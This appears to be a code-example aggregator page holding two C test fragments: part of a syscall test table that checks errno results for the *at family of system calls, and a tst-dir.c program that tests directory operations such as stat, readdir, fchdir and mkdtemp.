	tests[5].tests[5].result = 0;
	tests[5].tests[5].params[0].i = AT_FDCWD;
	tests[5].tests[5].params[1].cp = symlinkf;
	tests[5].tests[5].params[2].i = rel_fd;
	tests[5].tests[5].params[3].cp = newlink2;
	tests[5].tests[5].params[4].i = 0;
	tests[5].tests[6].result = 0;
	tests[5].tests[6].params[0].i = AT_FDCWD;
	tests[5].tests[6].params[1].cp = symlinkf;
	tests[5].tests[6].params[2].i = rel_fd;
	tests[5].tests[6].params[3].cp = newlink3;
	tests[5].tests[6].params[4].i = AT_SYMLINK_FOLLOW;

	/* mkdirat */
	tests[6].syscall = SYS_mkdirat;
	tests[6].num_of_cases = 3;
	tests[6].name = "mkdirat";
	tests[6].tests[0].result = EBADF;
	tests[6].tests[0].params[0].i = 106;	/* invalid fd */
	tests[6].tests[0].params[1].cp = relative_file;
	tests[6].tests[0].params[2].m = 33190;
	tests[6].tests[1].result = ENOTDIR;
	tests[6].tests[1].params[0].i = notd_fd;
	tests[6].tests[1].params[1].cp = relative_file;
	tests[6].tests[1].params[2].m = 33190;
	tests[6].tests[2].result = 0;
	tests[6].tests[2].params[0].i = rel_fd;
	tests[6].tests[2].params[1].cp = newdir;
	tests[6].tests[2].params[2].m = 33190;

	/* mkfifoat */
	tests[7].syscall = SYS_mkfifoat;
	tests[7].num_of_cases = 3;
	tests[7].name = "mkfifoat";
	tests[7].tests[0].result = EBADF;
	tests[7].tests[0].params[0].i = 107;	/* invalid fd */
	tests[7].tests[0].params[1].cp = relative_file;
	tests[7].tests[0].params[2].m = 33190;
	tests[7].tests[1].result = ENOTDIR;
	tests[7].tests[1].params[0].i = notd_fd;
	tests[7].tests[1].params[1].cp = relative_file;
	tests[7].tests[1].params[2].m = 33190;
	tests[7].tests[2].result = 0;
	tests[7].tests[2].params[0].i = rel_fd;
	tests[7].tests[2].params[1].cp = fifo;
	tests[7].tests[2].params[2].m = 33190;

	/* mknodat */
	tests[8].syscall = SYS_mknodat;
	tests[8].num_of_cases = 3;
	tests[8].name = "mknodat";
	tests[8].tests[0].result = EBADF;
	tests[8].tests[0].params[0].i = 108;	/* invalid fd */
	tests[8].tests[0].params[1].cp = relative_file;
	tests[8].tests[0].params[2].m = 0666 | S_IFCHR;
	tests[8].tests[0].params[3].d = 15;
	tests[8].tests[1].result = ENOTDIR;
	tests[8].tests[1].params[0].i = notd_fd;
	tests[8].tests[1].params[1].cp = relative_file;
	tests[8].tests[1].params[2].m = 0666 | S_IFCHR;
	tests[8].tests[1].params[3].d = 15;
	tests[8].tests[2].result = 0;
	tests[8].tests[2].params[0].i = rel_fd;
	tests[8].tests[2].params[1].cp = nod;
	tests[8].tests[2].params[2].m = 0666 | S_IFCHR;
	tests[8].tests[2].params[3].d = 2570;

	/* openat */
	tests[9].syscall = SYS_openat;
	tests[9].num_of_cases = 5;
	tests[9].name = "openat";
	tests[9].tests[0].result = EBADF;
	tests[9].tests[0].params[0].i = 106;	/* invalid fd */
	tests[9].tests[0].params[1].cp = relative_file;
	tests[9].tests[0].params[2].i = O_RDONLY;
	tests[9].tests[0].params[3].i = 0666;
	tests[9].tests[1].result = ENOTDIR;
	tests[9].tests[1].params[0].i = notd_fd;
	tests[9].tests[1].params[1].cp = relative_file;
	tests[9].tests[1].params[2].i = O_RDONLY;
	tests[9].tests[1].params[3].i = 0666;
	tests[9].tests[2].result = 8;		/* hardcoded fd */
	tests[9].tests[2].params[0].i = rel_fd;
	tests[9].tests[2].params[1].cp = file;
	tests[9].tests[2].params[2].i = O_RDONLY;
	tests[9].tests[2].params[3].i = 0400;
	tests[9].tests[3].result = 9;		/* hardcoded fd */
	tests[9].tests[3].params[0].i = notd_fd;
	tests[9].tests[3].params[1].cp = absolute_file;
	tests[9].tests[3].params[2].i = O_RDONLY;
	tests[9].tests[3].params[3].i = 0400;
	tests[9].tests[4].result = 10;		/* hardcoded fd */
	tests[9].tests[4].params[0].i = rel_fd;
	tests[9].tests[4].params[1].cp = newfile;
	tests[9].tests[4].params[2].i = O_RDONLY | O_CREAT;
	tests[9].tests[4].params[3].i = 0666;

	/* readlinkat */
	tests[10].syscall = SYS_readlinkat;
	tests[10].num_of_cases = 3;
	tests[10].name = "readlinkat";
	tests[10].tests[0].result = EBADF;
	tests[10].tests[0].params[0].i = 106;	/* invalid fd */
	tests[10].tests[0].params[1].cp = relative_file;
	tests[10].tests[0].params[2].vp = cbuf;
	tests[10].tests[0].params[3].i = PATH_MAX; 
	tests[10].tests[1].result = ENOTDIR;
	tests[10].tests[1].params[0].i = notd_fd;
	tests[10].tests[1].params[1].cp = relative_file;
	tests[10].tests[1].params[2].vp = cbuf;
	tests[10].tests[1].params[3].i = PATH_MAX; 
	tests[10].tests[2].result = strlen(absolute_file);
	tests[10].tests[2].params[0].i = AT_FDCWD;
	tests[10].tests[2].params[1].cp = symlinkf;
	tests[10].tests[2].params[2].vp = cbuf;
	tests[10].tests[2].params[3].i = PATH_MAX; 

	/* renameat */
	tests[11].syscall = SYS_renameat;
	tests[11].num_of_cases = 5;
	tests[11].name = "renameat";
	tests[11].tests[0].result = EBADF;
	tests[11].tests[0].params[0].i = 106;	/* invalid fd */
	tests[11].tests[0].params[1].cp = file;
	tests[11].tests[0].params[2].i = rel_fd;
	tests[11].tests[0].params[3].cp = file;
	tests[11].tests[1].result = EBADF;
	tests[11].tests[1].params[0].i = rel_fd;
	tests[11].tests[1].params[1].cp = file;
	tests[11].tests[1].params[2].i = 106;	/* invalid fd */
	tests[11].tests[1].params[3].cp = file;
	tests[11].tests[2].result = ENOTDIR;
	tests[11].tests[2].params[0].i = notd_fd;
	tests[11].tests[2].params[1].cp = relative_file;
	tests[11].tests[2].params[2].i = rel_fd;
	tests[11].tests[2].params[3].cp = file;
	tests[11].tests[3].result = ENOTDIR;
	tests[11].tests[3].params[0].i = rel_fd;
	tests[11].tests[3].params[1].cp = file;
	tests[11].tests[3].params[2].i = notd_fd;
	tests[11].tests[3].params[3].cp = relative_file;
	tests[11].tests[4].result = 0;
	tests[11].tests[4].params[0].i = rel_fd;
	tests[11].tests[4].params[1].cp = newfile;
	tests[11].tests[4].params[2].i = AT_FDCWD;
	tests[11].tests[4].params[3].cp = newfile;
	
	/* symlinkat */
	tests[12].syscall = SYS_symlinkat;
	tests[12].num_of_cases = 3;
	tests[12].name = "symlinkat";
	tests[12].tests[0].result = EBADF;
	tests[12].tests[0].params[0].cp = file;
	tests[12].tests[0].params[1].i = 106;	/* invalid fd */
	tests[12].tests[0].params[2].cp = file;
	tests[12].tests[1].result = ENOTDIR;
	tests[12].tests[1].params[0].cp = file;
	tests[12].tests[1].params[1].i = notd_fd;
	tests[12].tests[1].params[2].cp = relative_file;
	tests[12].tests[2].result = 0;
	tests[12].tests[2].params[0].cp = absolute_file;
	tests[12].tests[2].params[1].i = rel_fd;
	tests[12].tests[2].params[2].cp = newslink;


	/* unlinkat */
	tests[13].syscall = SYS_unlinkat;
	tests[13].num_of_cases = 7;
	tests[13].name = "unlinkat";
	tests[13].tests[0].result = EBADF;
	tests[13].tests[0].params[0].i = 106;	/* invalid fd */
	tests[13].tests[0].params[1].cp = relative_file;
	tests[13].tests[0].params[2].i = 0;
	tests[13].tests[1].result = ENOTDIR;
	tests[13].tests[1].params[0].i = notd_fd;
	tests[13].tests[1].params[1].cp = relative_file;
	tests[13].tests[1].params[2].i = 0;
	tests[13].tests[2].result = EINVAL;
	tests[13].tests[2].params[0].i = rel_fd;
	tests[13].tests[2].params[1].cp = file;
	tests[13].tests[2].params[2].i = 123;	/* invalid flag */
	tests[13].tests[3].result = ENOTDIR;
	tests[13].tests[3].params[0].i = rel_fd;
	tests[13].tests[3].params[1].cp = not_dir_path;
	tests[13].tests[3].params[2].i = AT_REMOVEDIR;
	tests[13].tests[4].result = ENOTEMPTY;
	tests[13].tests[4].params[0].i = AT_FDCWD;
	tests[13].tests[4].params[1].cp = relative_path;
	tests[13].tests[4].params[2].i = AT_REMOVEDIR;
	tests[13].tests[5].result = 0;
	tests[13].tests[5].params[0].i = rel_fd;
	tests[13].tests[5].params[1].cp = newdir;
	tests[13].tests[5].params[2].i = AT_REMOVEDIR;
	tests[13].tests[6].result = 0;
	tests[13].tests[6].params[0].i = AT_FDCWD;
	tests[13].tests[6].params[1].cp = newfile;
	tests[13].tests[6].params[2].i = 0;


	/* fexecve */
	tests[14].syscall = SYS_fexecve;
	tests[14].num_of_cases = 2;
	tests[14].name = "fexecve";
	tests[14].tests[0].result = EBADF;
	tests[14].tests[0].params[0].i = 106;	/* invalid fd */
	tests[14].tests[0].params[1].cpp = pargv;
	tests[14].tests[0].params[2].cpp = NULL;
	/* This is EXPECTED to execve /bin/date, so dont expect OK output */
	tests[14].tests[1].result = 0;
	tests[14].tests[1].params[0].i = exec_fd;
	tests[14].tests[1].params[1].cpp = pargv;
	tests[14].tests[1].params[2].cpp = NULL;
}
コード例 #30
0
ファイル: tst-dir.c プロジェクト: BackupTheBerlios/wl530g-svn
/* We expect four arguments:
   - source directory name
   - object directory
   - common object directory
   - the program name with path
*/
int
main (int argc, char *argv[])
{
    const char *srcdir;
    const char *objdir;
    const char *common_objdir;
    const char *progpath;
    struct stat64 st1;
    struct stat64 st2;
    struct stat64 st3;
    DIR *dir1;
    DIR *dir2;
    int result = 0;
    struct dirent64 *d;
    struct dirent64 direntbuf;
    char *objdir_copy1;
    char *objdir_copy2;
    char *buf;
    int fd;

    mtrace ();

    if (argc < 5)
    {
        puts ("not enough parameters");
        exit (1);
    }

    /* Make parameters available with nicer names.  */
    srcdir = argv[1];
    objdir = argv[2];
    common_objdir = argv[3];
    progpath = argv[4];

    /* First test the current source dir.  We cannot really compare the
       result of `getpwd' with the srcdir string but we have other means.  */
    if (stat64 (".", &st1) < 0)
    {
        printf ("cannot stat starting directory: %m\n");
        exit (1);
    }

    if (chdir (srcdir) < 0)
    {
        printf ("cannot change to source directory: %m\n");
        exit (1);
    }
    if (stat64 (".", &st2) < 0)
    {
        printf ("cannot stat source directory: %m\n");
        exit (1);
    }

    /* The two last stat64 calls better were for the same directory.  */
    if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
    {
        printf ("stat of source directory failed: (%lld,%lld) vs (%lld,%lld)\n",
                (long long int) st1.st_dev, (long long int) st1.st_ino,
                (long long int) st2.st_dev, (long long int) st2.st_ino);
        exit (1);
    }

    /* Change to the object directory.  */
    if (chdir (objdir) < 0)
    {
        printf ("cannot change to object directory: %m\n");
        exit (1);
    }
    if (stat64 (".", &st1) < 0)
    {
        printf ("cannot stat object directory: %m\n");
        exit (1);
    }
    /* Is this the same we get as with the full path?  */
    if (stat64 (objdir, &st2) < 0)
    {
        printf ("cannot stat object directory with full path: %m\n");
        exit (1);
    }
    if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
    {
        printf ("stat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n",
                (long long int) st1.st_dev, (long long int) st1.st_ino,
                (long long int) st2.st_dev, (long long int) st2.st_ino);
        exit (1);
    }

    objdir_copy1 = getcwd (NULL, 0);
    if (objdir_copy1 == NULL)
    {
        printf ("cannot get current directory name for object directory: %m\n");
        result = 1;
    }

    /* First test: this directory must include our program.  */
    if (stat64 (progpath, &st2) < 0)
    {
        printf ("cannot stat program: %m\n");
        exit (1);
    }

    dir1 = opendir (".");
    if (dir1 == NULL)
    {
        printf ("cannot open object directory: %m\n");
        exit (1);
    }

    while ((d = readdir64 (dir1)) != NULL)
    {
#ifdef _DIRENT_HAVE_D_TYPE
        if (d->d_type != DT_UNKNOWN && d->d_type != DT_REG)
            continue;
#endif

        if (d->d_ino == st2.st_ino)
        {
            /* Might be it.  Test the device.  We could use the st_dev
               element from st1 but what the heck, do more testing.  */
            if (stat64 (d->d_name, &st3) < 0)
            {
                printf ("cannot stat entry from readdir: %m\n");
                result = 1;
                d = NULL;
                break;
            }

            if (st3.st_dev == st2.st_dev)
                break;
        }
    }

    if (d == NULL)
    {
        puts ("haven't found program in object directory");
        result = 1;
    }

    /* We leave dir1 open.  */

    /* Stat using file descriptor.  */
    if (fstat64 (dirfd (dir1), &st2) < 0)
    {
        printf ("cannot fstat object directory: %m\n");
        result = 1;
    }
    if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
    {
        printf ("fstat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n",
                (long long int) st1.st_dev, (long long int) st1.st_ino,
                (long long int) st2.st_dev, (long long int) st2.st_ino);
        exit (1);
    }

    if (chdir ("..") < 0)
    {
        printf ("cannot go to common object directory with \"..\": %m\n");
        exit (1);
    }

    if (stat64 (".", &st1) < 0)
    {
        printf ("cannot stat common object directory: %m\n");
        exit (1);
    }
    /* Is this the same we get as with the full path?  */
    if (stat64 (common_objdir, &st2) < 0)
    {
        printf ("cannot stat common object directory with full path: %m\n");
        exit (1);
    }
    if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
    {
        printf ("stat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n",
                (long long int) st1.st_dev, (long long int) st1.st_ino,
                (long long int) st2.st_dev, (long long int) st2.st_ino);
        exit (1);
    }

    /* Stat using file descriptor.  */
    if (fstat64 (dirfd (dir1), &st2) < 0)
    {
        printf ("cannot fstat object directory: %m\n");
        result = 1;
    }

    dir2 = opendir (common_objdir);
    if (dir2 == NULL)
    {
        printf ("cannot open common object directory: %m\n");
        exit (1);
    }

    while ((d = readdir64 (dir2)) != NULL)
    {
#ifdef _DIRENT_HAVE_D_TYPE
        if (d->d_type != DT_UNKNOWN && d->d_type != DT_DIR)
            continue;
#endif

        if (d->d_ino == st2.st_ino)
        {
            /* Might be it.  Test the device.  We could use the st_dev
               element from st1 but what the heck, do more testing.  */
            if (stat64 (d->d_name, &st3) < 0)
            {
                printf ("cannot stat entry from readdir: %m\n");
                result = 1;
                d = NULL;
                break;
            }

            if (st3.st_dev == st2.st_dev)
                break;
        }
    }

    /* This better should be the object directory again.  */
    if (fchdir (dirfd (dir1)) < 0)
    {
        printf ("cannot fchdir to object directory: %m\n");
        exit (1);
    }

    objdir_copy2 = getcwd (NULL, 0);
    if (objdir_copy2 == NULL)
    {
        printf ("cannot get current directory name for object directory: %m\n");
        result = 1;
    }
    if (strcmp (objdir_copy1, objdir_copy2) != 0)
    {
        puts ("getcwd returned a different string the second time");
        result = 1;
    }

    /* This better should be the common object directory again.  */
    if (fchdir (dirfd (dir2)) < 0)
    {
        printf ("cannot fchdir to common object directory: %m\n");
        exit (1);
    }

    if (stat64 (".", &st2) < 0)
    {
        printf ("cannot stat common object directory: %m\n");
        exit (1);
    }
    if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
    {
        printf ("stat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n",
                (long long int) st1.st_dev, (long long int) st1.st_ino,
                (long long int) st2.st_dev, (long long int) st2.st_ino);
        exit (1);
    }

    buf = (char *) malloc (strlen (objdir_copy1) + 1 + sizeof "tst-dir.XXXXXX");
    if (buf == NULL)
    {
        printf ("cannot allocate buffer: %m");
        exit (1);
    }

    stpcpy (stpcpy (stpcpy (buf, objdir_copy1), "/"), "tst-dir.XXXXXX");
    if (mkdtemp (buf) == NULL)
    {
        printf ("cannot create test directory in object directory: %m\n");
        exit (1);
    }
    if (stat64 (buf, &st1) < 0)
    {
        printf ("cannot stat new directory \"%s\": %m\n", buf);
        exit (1);
    }
    if (chmod (buf, 0700) < 0)
    {
        printf ("cannot change mode of new directory: %m\n");
        exit (1);
    }

    /* Try to find the new directory.  */
    rewinddir (dir1);
    while (readdir64_r (dir1, &direntbuf, &d) == 0 && d != NULL)
    {
#ifdef _DIRENT_HAVE_D_TYPE
        if (d->d_type != DT_UNKNOWN && d->d_type != DT_DIR)
            continue;
#endif

        if (d->d_ino == st1.st_ino)
        {
            /* Might be it.  Test the device.  We could use the st_dev
               element from st1 but what the heck, do more testing.  */
            size_t len = strlen (objdir) + 1 + _D_EXACT_NAMLEN (d) + 1;
            char tmpbuf[len];

            stpcpy (stpcpy (stpcpy (tmpbuf, objdir), "/"), d->d_name);

            if (stat64 (tmpbuf, &st3) < 0)
            {
                printf ("cannot stat entry from readdir: %m\n");
                result = 1;
                d = NULL;
                break;
            }

            if (st3.st_dev == st2.st_dev
                    && strcmp (d->d_name, buf + strlen (buf) - 14) == 0)
                break;
        }
    }

    if (d == NULL)
    {
        printf ("haven't found new directory \"%s\"\n", buf);
        exit (1);
    }

    if (closedir (dir2) < 0)
    {
        printf ("closing dir2 failed: %m\n");
        result = 1;
    }

    if (chdir (buf) < 0)
    {
        printf ("cannot change to new directory: %m\n");
        exit (1);
    }

    dir2 = opendir (buf);
    if (dir2 == NULL)
    {
        printf ("cannot open new directory: %m\n");
        exit (1);
    }

    if (fstat64 (dirfd (dir2), &st2) < 0)
    {
        printf ("cannot fstat new directory \"%s\": %m\n", buf);
        exit (1);
    }
    if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
    {
        printf ("stat of new directory failed: (%lld,%lld) vs (%lld,%lld)\n",
                (long long int) st1.st_dev, (long long int) st1.st_ino,
                (long long int) st2.st_dev, (long long int) st2.st_ino);
        exit (1);
    }

    if (mkdir ("another-dir", 0777) < 0)
    {
        printf ("cannot create \"another-dir\": %m\n");
        exit (1);
    }
    fd = open ("and-a-file", O_RDWR | O_CREAT | O_EXCL, 0666);
    if (fd == -1)
    {
        printf ("cannot create \"and-a-file\": %m\n");
        exit (1);
    }
    close (fd);

    /* Some tests about error reporting.  */
    errno = 0;
    if (chdir ("and-a-file") >= 0)
    {
        printf ("chdir to \"and-a-file\" succeeded\n");
        exit (1);
    }
    if (errno != ENOTDIR)
    {
        printf ("chdir to \"and-a-file\" didn't set correct error\n");
        result = 1;
    }

    errno = 0;
    if (chdir ("and-a-file/..") >= 0)
    {
        printf ("chdir to \"and-a-file/..\" succeeded\n");
        exit (1);
    }
    if (errno != ENOTDIR)
    {
        printf ("chdir to \"and-a-file/..\" didn't set correct error\n");
        result = 1;
    }

    errno = 0;
    if (chdir ("another-dir/../and-a-file") >= 0)
    {
        printf ("chdir to \"another-dir/../and-a-file\" succeeded\n");
        exit (1);
    }
    if (errno != ENOTDIR)
    {
        printf ("chdir to \"another-dir/../and-a-file\" didn't set correct error\n");
        result = 1;
    }

    /* We now should have a directory and a file in the new directory.  */
    rewinddir (dir2);
    while (readdir64_r (dir2, &direntbuf, &d) == 0 && d != NULL)
    {
        if (strcmp (d->d_name, ".") == 0
                || strcmp (d->d_name, "..") == 0
                || strcmp (d->d_name, "another-dir") == 0)
        {
#ifdef _DIRENT_HAVE_D_TYPE
            if (d->d_type != DT_UNKNOWN && d->d_type != DT_DIR)
            {
                printf ("d_type for \"%s\" is wrong\n", d->d_name);
                result = 1;
            }
#endif
            if (stat64 (d->d_name, &st3) < 0)
            {
                printf ("cannot stat \"%s\" is wrong\n", d->d_name);
                result = 1;
            }
            else if (! S_ISDIR (st3.st_mode))
            {
                printf ("\"%s\" is no directory\n", d->d_name);
                result = 1;
            }
        }
        else if (strcmp (d->d_name, "and-a-file") == 0)
        {
#ifdef _DIRENT_HAVE_D_TYPE
            if (d->d_type != DT_UNKNOWN && d->d_type != DT_REG)
            {
                printf ("d_type for \"%s\" is wrong\n", d->d_name);
                result = 1;
            }
#endif
            if (stat64 (d->d_name, &st3) < 0)
            {
                printf ("cannot stat \"%s\" is wrong\n", d->d_name);
                result = 1;
            }
            else if (! S_ISREG (st3.st_mode))
            {
                printf ("\"%s\" is no regular file\n", d->d_name);
                result = 1;
            }
        }
        else
        {
            printf ("unexpected directory entry \"%s\"\n", d->d_name);
            result = 1;
        }
    }

    if (stat64 ("does-not-exist", &st1) >= 0)
    {
        puts ("stat for unexisting file did not fail");
        result = 1;
    }

    /* Free all resources.  */

    if (closedir (dir1) < 0)
    {
        printf ("closing dir1 failed: %m\n");
        result = 1;
    }
    if (closedir (dir2) < 0)
    {
        printf ("second closing dir2 failed: %m\n");
        result = 1;
    }

    if (rmdir ("another-dir") < 0)
    {
        printf ("cannot remove \"another-dir\": %m\n");
        result = 1;
    }

    if (unlink ("and-a-file") < 0)
    {
        printf ("cannot remove \"and-a-file\": %m\n");
        result = 1;
    }

    /* One more test before we leave: mkdir() is supposed to fail with
       EEXIST if the named file is a symlink.  */
    if (symlink ("a-symlink", "a-symlink") != 0)
    {
        printf ("cannot create symlink \"a-symlink\": %m\n");
        result = 1;
    }
    else
    {
        if (mkdir ("a-symlink", 0666) == 0)
        {
            puts ("can make directory \"a-symlink\"");
            result = 1;
        }
        else if (errno != EEXIST)
        {
            puts ("mkdir(\"a-symlink\") does not fail with EEXIST\n");
            result = 1;
        }
        if (unlink ("a-symlink") < 0)
        {
            printf ("cannot unlink \"a-symlink\": %m\n");
            result = 1;
        }
    }

    if (chdir (srcdir) < 0)
    {
        printf ("cannot change back to source directory: %m\n");
        exit (1);
    }

    if (rmdir (buf) < 0)
    {
        printf ("cannot remove \"%s\": %m\n", buf);
        result = 1;
    }
    free (objdir_copy1);
    free (objdir_copy2);

    if (result == 0)
        puts ("all OK");

    return result;
}